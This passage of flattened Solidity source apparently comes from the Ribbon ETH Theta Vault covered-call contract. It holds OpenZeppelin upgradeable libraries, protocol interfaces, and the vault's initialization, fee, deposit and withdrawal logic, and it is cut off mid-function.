success, bytes memory result) = address(adapter).delegatecall( abi.encodeWithSignature( "createShort((address,address,address,uint256,uint256,uint8,address),uint256)", optionTerms, amount ) ); revertWhenFail(success, result); return abi.decode(result, (uint256)); } function delegateCloseShort(IProtocolAdapter adapter) external returns (uint256) { (bool success, bytes memory result) = address(adapter).delegatecall( abi.encodeWithSignature("closeShort()") ); require(success, getRevertMsg(result)); return abi.decode(result, (uint256)); } function revertWhenFail(bool success, bytes memory returnData) private pure { if (success) return; revert(getRevertMsg(returnData)); } function getRevertMsg(bytes memory _returnData) private pure returns (string memory) { // If the _res length is less than 68, then the transaction failed silently (without a revert message) if (_returnData.length < 68) return "ProtocolAdapter: reverted"; assembly { // Slice the sighash. _returnData := add(_returnData, 0x04) } return abi.decode(_returnData, (string)); // All that remains is the revert string } } interface IRibbonFactory { function isInstrument(address instrument) external returns (bool); function getAdapter(string calldata protocolName) external view returns (address); function getAdapters() external view returns (address[] memory adaptersArray); function burnGasTokens() external; } interface IWETH { function deposit() external payable; function withdraw(uint256) external; function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); } interface ISwap { event Swap( uint256 indexed nonce, uint256 timestamp, address indexed signerWallet, uint256 signerAmount, uint256 signerId, address signerToken, address indexed senderWallet, uint256 senderAmount, uint256 senderId, address senderToken, address affiliateWallet, uint256 affiliateAmount, uint256 affiliateId, address affiliateToken ); event Cancel(uint256 indexed nonce, address indexed signerWallet); event CancelUpTo(uint256 indexed nonce, address indexed signerWallet); event AuthorizeSender( address indexed authorizerAddress, address indexed authorizedSender ); event AuthorizeSigner( address indexed authorizerAddress, address indexed authorizedSigner ); event RevokeSender( address indexed authorizerAddress, address indexed revokedSender ); event RevokeSigner( address indexed authorizerAddress, address indexed revokedSigner ); /** * @notice Atomic Token Swap * @param order Types.Order */ function swap(Types.Order calldata order) external; /** * @notice Cancel one or more open orders by nonce * @param nonces uint256[] */ function cancel(uint256[] calldata nonces) external; /** * @notice Cancels all orders below a nonce value * @dev These orders can be made active by reducing the minimum nonce * @param minimumNonce uint256 */ function cancelUpTo(uint256 minimumNonce) external; /** * @notice Authorize a delegated sender * @param authorizedSender address */ function authorizeSender(address authorizedSender) external; /** * @notice Authorize a delegated signer * @param authorizedSigner address */ function authorizeSigner(address authorizedSigner) external; /** * @notice Revoke an authorization * @param authorizedSender address */ function revokeSender(address authorizedSender) external; /** * @notice Revoke an authorization * @param authorizedSigner address */ function revokeSigner(address authorizedSigner) external; function senderAuthorizations(address, address) external view returns (bool); function signerAuthorizations(address, address) external view returns (bool); function signerNonceStatus(address, uint256) external view returns (bytes1); function signerMinimumNonce(address) external view returns (uint256); function registry() external view returns (address); } interface OtokenInterface { function addressBook() external view returns (address); function underlyingAsset() external view returns (address); function strikeAsset() external view returns (address); function collateralAsset() external view returns (address); function strikePrice() external view returns (uint256); function expiryTimestamp() external view returns (uint256); function isPut() external view returns (bool); function init( address _addressBook, address _underlyingAsset, address _strikeAsset, address _collateralAsset, uint256 _strikePrice, uint256 _expiry, bool _isPut ) external; function mintOtoken(address account, uint256 amount) external; function burnOtoken(address account, uint256 amount) external; } // /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // // solhint-disable-next-line compiler-version /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable { using SafeMathUpgradeable for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[44] private __gap; } contract OptionsVaultStorageV0 { // Gap just in case we push storage in front of the OptionsVaultStorage contract uint256[50] private __gap; } contract OptionsVaultStorageV1 is ReentrancyGuardUpgradeable, OwnableUpgradeable, ERC20Upgradeable { // Asset for which we create a covered call for address public asset; // Privileged role that is able to select the option terms (strike price, expiry) to short address public manager; // Option that the vault is shorting in the next cycle address public nextOption; // The timestamp when the `nextOption` can be used by the vault uint256 public nextOptionReadyAt; // Option that the vault is currently shorting address public currentOption; // Amount that is currently locked for selling options uint256 public lockedAmount; // Cap for total amount deposited into vault uint256 public cap; // Fee incurred when withdrawing out of the vault, in the units of 10**18 // where 1 ether = 100%, so 0.005 means 0.005% fee uint256 public instantWithdrawalFee; // Recipient for withdrawal fees address public feeRecipient; } contract OptionsVaultStorage is OptionsVaultStorageV1 { } // contract RibbonCoveredCall is DSMath, OptionsVaultStorage { using ProtocolAdapter for IProtocolAdapter; using SafeERC20 for IERC20; using SafeMath for uint256; string private constant _adapterName = "OPYN_GAMMA"; string private constant _tokenName = "Ribbon ETH Theta Vault"; string private constant _tokenSymbol = "rETH-THETA"; IRibbonFactory public immutable factory; IProtocolAdapter public immutable adapter; address public immutable WETH; address public immutable USDC; // AirSwap Swap contract https://github.com/airswap/airswap-protocols/blob/master/source/swap/contracts/interfaces/ISwap.sol ISwap public immutable SWAP_CONTRACT; // 90% locked in options protocol, 10% of the pool reserved for withdrawals uint256 public constant lockedRatio = 0.9 ether; uint256 public constant delay = 1 days; uint256 public constant MINIMUM_SUPPLY = 10**10; event ManagerChanged(address oldManager, address newManager); event Deposit(address indexed account, uint256 amount, uint256 share); event Withdraw( address indexed account, uint256 amount, uint256 share, uint256 fee ); event OpenShort( address indexed options, uint256 depositAmount, address manager ); event CloseShort( address indexed options, uint256 withdrawAmount, address manager ); event WithdrawalFeeSet(uint256 oldFee, uint256 newFee); event CapSet(uint256 oldCap, uint256 newCap, address manager); /** * @notice Initializes the factory and adapter contract addresses * It's important to bake the _factory variable into the contract with the constructor * If we do it in the `initialize` function, users get to set the factory variable and * subsequently the adapter, which allows them to make a delegatecall, then selfdestruct the contract. */ constructor( address _factory, address _weth, address _usdc, address _swapContract ) { require(_factory != address(0), "!_factory"); require(_weth != address(0), "!_weth"); require(_usdc != address(0), "!_usdc"); require(_swapContract != address(0), "!_swapContract"); IRibbonFactory factoryInstance = IRibbonFactory(_factory); address adapterAddr = factoryInstance.getAdapter(_adapterName); require(adapterAddr != address(0), "Adapter not set"); factory = factoryInstance; adapter = IProtocolAdapter(adapterAddr); WETH = _weth; USDC = _usdc; SWAP_CONTRACT = ISwap(_swapContract); } /** * @notice Initializes the OptionVault contract with an owner and a factory. * @param _owner is the owner of the contract who can set the manager * @param _initCap is the initial vault's cap on deposits, the manager can increase this as necessary */ function initialize( address _asset, address _owner, address _feeRecipient, uint256 _initCap ) external initializer { require(_owner != address(0), "!_owner"); require(_feeRecipient != address(0), "!_feeRecipient"); require(_initCap > 0, "_initCap > 0"); require(_asset != address(0), "!_asset"); __ReentrancyGuard_init(); __ERC20_init(_tokenName, _tokenSymbol); __Ownable_init(); transferOwnership(_owner); cap = _initCap; // hardcode the initial withdrawal fee instantWithdrawalFee = 0.005 ether; feeRecipient = _feeRecipient; asset = _asset; } /** * @notice Sets the new manager of the vault. * @param newManager is the new manager of the vault */ function setManager(address newManager) external onlyOwner { require(newManager != address(0), "!newManager"); address oldManager = manager; manager = newManager; emit ManagerChanged(oldManager, newManager); } /** * @notice Sets the new fee recipient * @param newFeeRecipient is the address of the new fee recipient */ function setFeeRecipient(address newFeeRecipient) external onlyOwner { require(newFeeRecipient != address(0), "!newFeeRecipient"); feeRecipient = newFeeRecipient; } /** * @notice Sets the new withdrawal fee * @param newWithdrawalFee is the fee paid in tokens when withdrawing */ function setWithdrawalFee(uint256 newWithdrawalFee) external onlyManager { require(newWithdrawalFee > 0, "withdrawalFee != 0"); // cap max withdrawal fees to 100% of the withdrawal amount require(newWithdrawalFee < 1 ether, "withdrawalFee >= 100%"); uint256 oldFee = instantWithdrawalFee; emit WithdrawalFeeSet(oldFee, newWithdrawalFee); instantWithdrawalFee = newWithdrawalFee; } /** * @notice Deposits ETH into the contract and mint vault shares. Reverts if the underlying is not WETH. */ function depositETH() external payable nonReentrant { require(asset == WETH, "asset is not WETH"); require(msg.value > 0, "No value passed"); IWETH(WETH).deposit{value: msg.value}(); _deposit(msg.value); } /** * @notice Deposits the `asset` into the contract and mint vault shares. * @param amount is the amount of `asset` to deposit */ function deposit(uint256 amount) external nonReentrant { IERC20(asset).safeTransferFrom(msg.sender, address(this), amount); _deposit(amount); } /** * @notice Mints the vault shares to the msg.sender * @param amount is the amount of `asset` deposited */ function _deposit(uint256 amount) private { uint256 totalWithDepositedAmount = totalBalance(); require(totalWithDepositedAmount < cap, "Cap exceeded"); // amount needs to be subtracted from totalBalance because it has already been // added to it from either IWETH.deposit and IERC20.safeTransferFrom uint256 total = totalWithDepositedAmount.sub(amount); uint256 shareSupply = totalSupply(); // Following the pool share calculation from Alpha Homora: https://github.com/AlphaFinanceLab/alphahomora/blob/340653c8ac1e9b4f23d5b81e61307bf7d02a26e8/contracts/5/Bank.sol#L104 uint256 share = shareSupply == 0 ? amount : amount.mul(shareSupply).div(total); require( shareSupply.add(share) >= MINIMUM_SUPPLY, "Minimum share supply needs to be >=10**10" ); require( totalWithDepositedAmount >= MINIMUM_SUPPLY, "Minimum asset balance needs to be >=10**10" ); emit Deposit(msg.sender, amount, share); _mint(msg.sender, share); } /** * @notice Withdraws ETH from vault using vault shares * @param share is the number of vault shares to be burned */ function withdrawETH(uint256 share) external nonReentrant { require(asset == WETH, "!WETH"); uint256 withdrawAmount = _withdraw(share); 